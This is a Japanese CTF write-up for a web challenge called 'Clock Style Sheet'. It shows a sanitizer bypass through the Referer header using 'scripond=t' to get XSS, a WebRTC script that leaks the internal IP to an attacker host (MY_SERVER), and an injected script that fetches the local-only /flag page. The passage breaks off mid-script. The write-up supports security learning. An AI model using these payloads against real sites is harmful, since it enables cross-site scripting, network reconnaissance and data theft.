# **▼▼▼▼Clock Style Sheet(Web)、337点(5/901=0.6%)▼▼▼▼****This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
http://css.chal.ctf.westerns.tokyo/
【機能】
・ブラウザでアクセスすると、http://css.chal.ctf.westerns.tokyo/please%20disable%20Javascript　に飛ばされて404応答になる。
・URLに「**please disable Javascript**」と記載があるので、IEブラウザで[スクリプト]＞[アクティブスクリプト]＞[無効]として、javascriptを無効にすると、Style Sheetで動く時計が表示される。
・Refreshボタンがあり、押下すると時計がリフレッシュされる。
【ソースコードが2つ提供されている】
・proxy.py
・sanitizer.py
【情報収集】
### -----1. まずリクエスト＆レスポンスをBurpSuiteで確認-------------------------------------
GET /
↓
```
```
⇒コメント欄に新たなアクセス先が書かれている★
新たなURLにアクセスしてみる。
↓
GET /chrowler/
↓
URL入力欄がある。
同時に、下記のようにpythonのソースコードが表示されている。
↓
```from selenium import webdriverfrom selenium.webdriver.common.keys import Keysfrom selenium.webdriver.chrome.options import Options
from urlparse import urlparseimport sys
url = ""
pr = urlparse(url)assert pr.scheme in ['http', 'https'], "only http or https is supported"
options = Options()options.add_argument('--headless')options.add_argument('--disable-gpu')options.add_argument('--disable-javascript')options.add_argument("--proxy-server=localhost:8080") # sanitizer proxydriver = webdriver.Chrome("/usr/local/bin/chromedriver", chrome_options=options)
driver.get(url)driver.quit()```
↓
・http', 'https'のみサポート★ ※**実際はhttp:// しか通らない。**
・options.add_argument("--proxy-server=localhost:8080") # sanitizer proxy    ※sanitizer用のproxyが通されている(ソースコードが提供されていたもの)★
### -----2. XSSの脆弱性を探す----------------------------------------------------------------------------------------
GET /refresh HTTP/1.1
Referer:**test">**
Host: css.chal.ctf.westerns.tokyo
↓
```<meta http-equiv="refresh" content="0;URL=test"> ">```
↓
**RefererヘッダにXSSの脆弱性が存在する。**
ソースコード(proxy.py)を確認する。
↓
```headers = {k:v for k,v in request.headers if v} ```
↓
**headerがproxyにてURLデコードされている。**★
↓
**全ブラウザにて、RefererヘッダでXSS可能**
ソースコード(sanitizer-3.py)を確認する。
↓
```def htmlsanitize(s):    while True:        m = re.match(r'.*(script).*', s, re.IGNORECASE)        if not m:            break        s = s.replace(m.group(1), '')    while True:        m = re.match(r'.*(on.+=).*', s, re.IGNORECASE)        if not m:            break        s = s.replace(m.group(1), '')    return s```
↓
上記のソースコードを確認すると、scriptとon.+=は削除されているのはわかるが、同時に削除していない★
　　※通常は同時に検知しながら削除していく。　PHPの例：preg_replace('/script|on.+=/i','',$_SERVER['HTTP_REFERER'])
よって、下記でfilterをバイパスできる
↓
GET /refresh HTTP/1.1
Referer:**"><scripond=t>alert(1)</scripond=t>**
Host: css.chal.ctf.westerns.tokyo
↓```<meta http-equiv="refresh" content="0;URL="><script>alert(1)</script>"> ```
↓
**任意のjavascriptを実行可能★**
### -----3. flagの場所を探す-------------------------------------------------------------------------------------
次に、Refererを削除してみる。
↓
GET /refresh HTTP/1.1
Host: css.chal.ctf.westerns.tokyo
↓
```<meta http-equiv="refresh" content="0;URL=/flag">```
↓
**flagの場所**を発見★
http://css.chal.ctf.westerns.tokyo/flag にアクセスしてみる。
↓
**only local IP is allowed.** (your IP: ○.○.○.○)
### -----4. javascriptでローカルIPアドレスを取得する----------------------------------------------------
javascriptでローカルIPアドレスを取得する方法(https://github.com/diafygi/webrtc-ips)を参考に修正。
↓
```<script>function getIPs(callback){var ip_dups={};var RTCPeerConnection=window.RTCPeerConnection||window.mozRTCPeerConnection||window.webkitRTCPeerConnection;var useWebKit=!!window.webkitRTCPeerConnection;if(!RTCPeerConnection){var win=iframe.contentWindow;RTCPeerConnection=win.RTCPeerConnection||win.mozRTCPeerConnection||win.webkitRTCPeerConnection;useWebKit=!!win.webkitRTCPeerConnection;}var mediaConstraints={optional:[{RtpDataChannels:true}]};var servers={iceServers:[{urls:"stun:stun.services.mozilla.com"}]};var pc=new RTCPeerConnection(servers,mediaConstraints);function handleCandidate(candidate){var ip_regex=/([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;var ip_addr=ip_regex.exec(candidate)[1];if(ip_dups[ip_addr]===undefined)callback(ip_addr);ip_dups[ip_addr]=true;}pc.onicecandidate=function(ice){if(ice.candidate)handleCandidate(ice.candidate.candidate);};pc.createDataChannel("");pc.createOffer(function(result){pc.setLocalDescription(result,function(){},function(){});},function(){});setTimeout(function(){var lines=pc.localDescription.sdp.split('\n');lines.forEach(function(line){if(line.indexOf('a=candidate:')===0)handleCandidate(line);});},1000);}getIPs(function(ip){location="http://MY_SERVER/"+ip;});</script>```
↓
192.168.0.5が得られた。
### -----5.RefererヘッダにXSSを挿入して、WebサーバのIPアドレスを探しながら、flagを取得する---------
http://MY_SERVER/tmp/request.php にアクセスさせる。
↓
```<meta name="referrer" content="always"><script>history.replaceState('','','http://MY_SERVER/t/"><scripond=t src="http://MY_SERVER/tmp/b.js"></scripond=t>');location="http://192.168.0.●/refresh";</script>```
http://MY_SERVER/tmp/b.js
↓
```var x=new XMLHttpRequest();x.open("GET","http://192.168.0.●/flag",false);x.send();var m = 'flag';for (var i=0; i